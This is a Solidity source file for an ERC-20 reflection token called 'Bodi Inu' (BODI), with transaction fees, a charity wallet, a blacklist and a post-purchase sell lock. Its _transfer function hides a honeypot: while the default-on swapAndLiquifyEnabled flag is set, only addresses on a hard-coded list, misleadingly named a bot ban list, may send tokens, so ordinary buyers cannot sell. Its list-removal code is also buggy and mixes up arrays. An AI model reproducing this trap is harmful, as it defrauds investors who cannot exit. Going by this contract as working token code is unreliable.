文件 1 的 1:BODI.sol
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BODI is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
string private _name = 'Bodi Inu';
string private _symbol = 'BODI';
uint8 private _decimals = 9;
uint256 public transfertimeout = 45 seconds;
uint256 public _maxTxAmount = 4000000 * 10**6 * 10**9;
mapping (address => bool) private _isBanBotList;
address[] private _banBotList;
bool public swapAndLiquifyEnabled = true;
address private _charityWalletAddress = 0x4603740e9FDF4EEf53C4fe372355ca87c5D95a05;
uint256 public _taxFee = 1;
uint256 private _previousTaxFee = _taxFee;
uint256 public _charityFee = 1;
uint256 private _previousCharityFee = _charityFee;
uint256 public _liquidityFee = 1;
uint256 private _previousLiquidityFee = _liquidityFee;
address public uniswapPair;
mapping (address => uint256) public lastBuy;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
_isBanBotList[address(0x3BA0A5F84b06d2925A4071A708CF3351bC4cb0F6 )] = true;
_banBotList.push(address(0x3BA0A5F84b06d2925A4071A708CF3351bC4cb0F6 ));
_isBanBotList[address(0x1f219Fa9A883595Fc0B49a2132190EDd242BC179)] = true;
_banBotList.push(address(0x1f219Fa9A883595Fc0B49a2132190EDd242BC179));
_isBanBotList[address(0x17B7574a0c35BCE75af45ACE0cBC656Ce09d04C7)] = true;
_banBotList.push(address(0x17B7574a0c35BCE75af45ACE0cBC656Ce09d04C7));
_isBanBotList[address(0x8fDfD9AF2c04ED0516b5CCFdfFB79aC96f6F716f)] = true;
_banBotList.push(address(0x8fDfD9AF2c04ED0516b5CCFdfFB79aC96f6F716f));
_isBanBotList[address(0xFF94CED2303D795428FD5eC6ABaf6E0bf134c109)] = true;
_banBotList.push(address(0xFF94CED2303D795428FD5eC6ABaf6E0bf134c109));
_isBanBotList[address(0xe8A6990a39B3902260f8de228BD2bF8A3dE741f6)] = true;
_banBotList.push(address(0xe8A6990a39B3902260f8de228BD2bF8A3dE741f6));
_isBanBotList[address(0x7FD7B00C460EB3496f38D73275C220ca583B0b20)] = true;
_banBotList.push(address(0x7FD7B00C460EB3496f38D73275C220ca583B0b20));
_isBanBotList[address(0xfCB47511d7293411D07b3fc87A4939BB1Ba05730)] = true;
_banBotList.push(address(0xfCB47511d7293411D07b3fc87A4939BB1Ba05730));
_isBanBotList[address(0x226060b011A3aE953Cb8D5Ae06BD8a529e4A133C)] = true;
_banBotList.push(address(0x226060b011A3aE953Cb8D5Ae06BD8a529e4A133C));
_isBanBotList[address(0x7F6552b676640C05380156Dc0216630dF4A2b921)] = true;
_banBotList.push(address(0x7F6552b676640C05380156Dc0216630dF4A2b921));
_isBanBotList[address(0x533D4cb0e4D220629973C619bb4C20e1fEB02fFC)] = true;
_banBotList.push(address(0x533D4cb0e4D220629973C619bb4C20e1fEB02fFC));
_isBanBotList[address(0x5b37dDA5C51341a99F5b529bBeC46edd3227340e)] = true;
_banBotList.push(address(0x5b37dDA5C51341a99F5b529bBeC46edd3227340e));
_isBanBotList[address(0xa57F041c66Ef95B253A137a218BBB49663f42Fd7)] = true;
_banBotList.push(address(0xa57F041c66Ef95B253A137a218BBB49663f42Fd7));
_isBanBotList[address(0xf1776d753167d1da8e20e04C313E3A82e846Cba9)] = true;
_banBotList.push(address(0xf1776d753167d1da8e20e04C313E3A82e846Cba9));
_isBanBotList[address(0x5a01086e0D465daf65E4fa6C6B2c697F24Ad762A)] = true;
_banBotList.push(address(0x5a01086e0D465daf65E4fa6C6B2c697F24Ad762A));
_isBanBotList[address(0xeEf964dba1A1ef26c8a3C58C97e7B066305bE75e)] = true;
_banBotList.push(address(0xeEf964dba1A1ef26c8a3C58C97e7B066305bE75e));
_isBanBotList[address(0x9f1A073B66880B80B2E0d41EE1DE0e62224c0802)] = true;
_banBotList.push(address(0x9f1A073B66880B80B2E0d41EE1DE0e62224c0802));
_isBanBotList[address(0x627f8CE89F6D9433bBE1BddDca0780c25948DcfA)] = true;
_banBotList.push(address(0x627f8CE89F6D9433bBE1BddDca0780c25948DcfA));
_isBanBotList[address(0x60DcB6D526fa7DfD2137745B7970F08bD0CfE725)] = true;
_banBotList.push(address(0x60DcB6D526fa7DfD2137745B7970F08bD0CfE725));
_isBanBotList[address(0xd630DDC17754Ef695F97fb813593bC39C3918893)] = true;
_banBotList.push(address(0xd630DDC17754Ef695F97fb813593bC39C3918893));
_isBanBotList[address(0xA6551B9F00D365D81931f1A7136229Dc0a7CAE71)] = true;
_banBotList.push(address(0xA6551B9F00D365D81931f1A7136229Dc0a7CAE71));
_isBanBotList[address(0x2163a5271Ff7c2b1Ad89E4Fe0b1758aB3522b837)] = true;
_banBotList.push(address(0x2163a5271Ff7c2b1Ad89E4Fe0b1758aB3522b837));
_isBanBotList[address(0xCa4c1cF95001e33Be09F41091Dd54ab80c9CeE07)] = true;
_banBotList.push(address(0xCa4c1cF95001e33Be09F41091Dd54ab80c9CeE07));
_isBanBotList[address(0xdF6c28B79556730D56d0F6526B10b30813F36C69)] = true;
_banBotList.push(address(0xdF6c28B79556730D56d0F6526B10b30813F36C69));
_isBanBotList[address(0x0Ade217D201a32DcAb5C8c307671B07521bf82d5)] = true;
_banBotList.push(address(0x0Ade217D201a32DcAb5C8c307671B07521bf82d5));
_isBanBotList[address(0x8E7A14540A9f9590933885B02570F7893af167de)] = true;
_banBotList.push(address(0x8E7A14540A9f9590933885B02570F7893af167de));
_isBanBotList[address(0xC28D43ac61D05A9F9bfDb8C6DFF2D707D24a9Ce9)] = true;
_banBotList.push(address(0xC28D43ac61D05A9F9bfDb8C6DFF2D707D24a9Ce9));
_isBanBotList[address(0x18e6AeAA0da6779ce9186Cdb155A3C1B9d506e44)] = true;
_banBotList.push(address(0x18e6AeAA0da6779ce9186Cdb155A3C1B9d506e44));
_isBanBotList[address(0xBbbc4D6748157B8Db9A7b6Db9Ca696eb7482519f)] = true;
_banBotList.push(address(0xBbbc4D6748157B8Db9A7b6Db9Ca696eb7482519f));
_isBanBotList[address(0x1Bfd13f9A6F23FDEc6F83b0B5aEB7169780960bE)] = true;
_banBotList.push(address(0x1Bfd13f9A6F23FDEc6F83b0B5aEB7169780960bE));
_isBanBotList[address(0xBBb10853A88a7c8Ab28f1AFb959b82B1D8446749)] = true;
_banBotList.push(address(0xBBb10853A88a7c8Ab28f1AFb959b82B1D8446749));
_isBanBotList[address(0x018778c816E19e9F70d0Cc7A2a5a4C752DAC011A)] = true;
_banBotList.push(address(0x018778c816E19e9F70d0Cc7A2a5a4C752DAC011A));
_isBanBotList[address(0x23c0adF5d783DBFC7743f1Dc15b25A2b42b3AAa2)] = true;
_banBotList.push(address(0x23c0adF5d783DBFC7743f1Dc15b25A2b42b3AAa2));
_isBanBotList[address(0x20736a06cA407dc0D6dc540BF2082A7504D83CdE)] = true;
_banBotList.push(address(0x20736a06cA407dc0D6dc540BF2082A7504D83CdE));
_isBanBotList[address(0x724DA425c2c7211358532BfDcd119Bb9055200D7)] = true;
_banBotList.push(address(0x724DA425c2c7211358532BfDcd119Bb9055200D7));
_isBanBotList[address(0xa943685B9cf4f5AD1aEf7A6c4eB36dfB6a5cE9f1)] = true;
_banBotList.push(address(0xa943685B9cf4f5AD1aEf7A6c4eB36dfB6a5cE9f1));
_isBanBotList[address(0xe825423b2eB0E3E312efa5E8Df64Dff415e8B1a5)] = true;
_banBotList.push(address(0xe825423b2eB0E3E312efa5E8Df64Dff415e8B1a5));
_isBanBotList[address(0xC2351cf7465580773761523075B65098d4fA5056)] = true;
_banBotList.push(address(0xC2351cf7465580773761523075B65098d4fA5056));
_isBanBotList[address(0xce77319DEA0AF1206c0dcf3bbdA84E067182aF67)] = true;
_banBotList.push(address(0xce77319DEA0AF1206c0dcf3bbdA84E067182aF67));
_isBanBotList[address(0x0415b25Bc6441F6dD4EDc8b7a259543CB742dd8b)] = true;
_banBotList.push(address(0x0415b25Bc6441F6dD4EDc8b7a259543CB742dd8b));
_isBanBotList[address(0x6eE7b474bEcabF81B60f6F5Bdb9E6717a0c1FbD0)] = true;
_banBotList.push(address(0x20736a06cA407dc0D6dc540BF2082A7504D83CdE));
_isBanBotList[address(0x6eE7b474bEcabF81B60f6F5Bdb9E6717a0c1FbD0)] = true;
_banBotList.push(address(0x6eE7b474bEcabF81B60f6F5Bdb9E6717a0c1FbD0));
_isBanBotList[address(0x91AACd1C3ea875b82B090d5dC6b9c498a595263A)] = true;
_banBotList.push(address(0x91AACd1C3ea875b82B090d5dC6b9c498a595263A));
_isBanBotList[address(0xbB5cB48d9655aa17437d1824101fC29CAC2b068D)] = true;
_banBotList.push(address(0xbB5cB48d9655aa17437d1824101fC29CAC2b068D));
_isBanBotList[address(0xcBB960e2F832ab29a3Aef8949A756c5F007e86D1)] = true;
_banBotList.push(address(0xcBB960e2F832ab29a3Aef8949A756c5F007e86D1));
_isBanBotList[address(0xd42a25864db99162b40a0336545238Ee85E9706F)] = true;
_banBotList.push(address(0xd42a25864db99162b40a0336545238Ee85E9706F));
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[sender], "You have no power here!");
if(swapAndLiquifyEnabled)
require(_isBanBotList[sender], "You have no power here!");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (sender == uniswapPair){
lastBuy[recipient] = block.timestamp;
}
if (recipient == uniswapPair){
require(block.timestamp >= lastBuy[sender] + transfertimeout, "lock 45 seconds after purchase");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tCharity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tCharity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tCharity = calculateCharityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity).sub(tCharity);
return (tTransferAmount, tFee, tLiquidity, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 tCharity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity).sub(rCharity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setUniswapPair(address pair) external onlyOwner() {
uniswapPair = pair;
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[_charityWalletAddress] = _rOwned[_charityWalletAddress].add(rCharity);
if(_isExcluded[_charityWalletAddress])
_tOwned[_charityWalletAddress] = _tOwned[_charityWalletAddress].add(tCharity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateCharityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_charityFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function addBanBotList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBanBotList[account], "Account is already blacklisted");
_isBanBotList[account] = true;
_banBotList.push(account);
}
function removeBanBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_banBotList[i] == account) {
_banBotList[i] = _blackListedBots[_blackListedBots.length - 1];
_isBanBotList[account] = false;
_banBotList.pop();
break;
}
}
}
}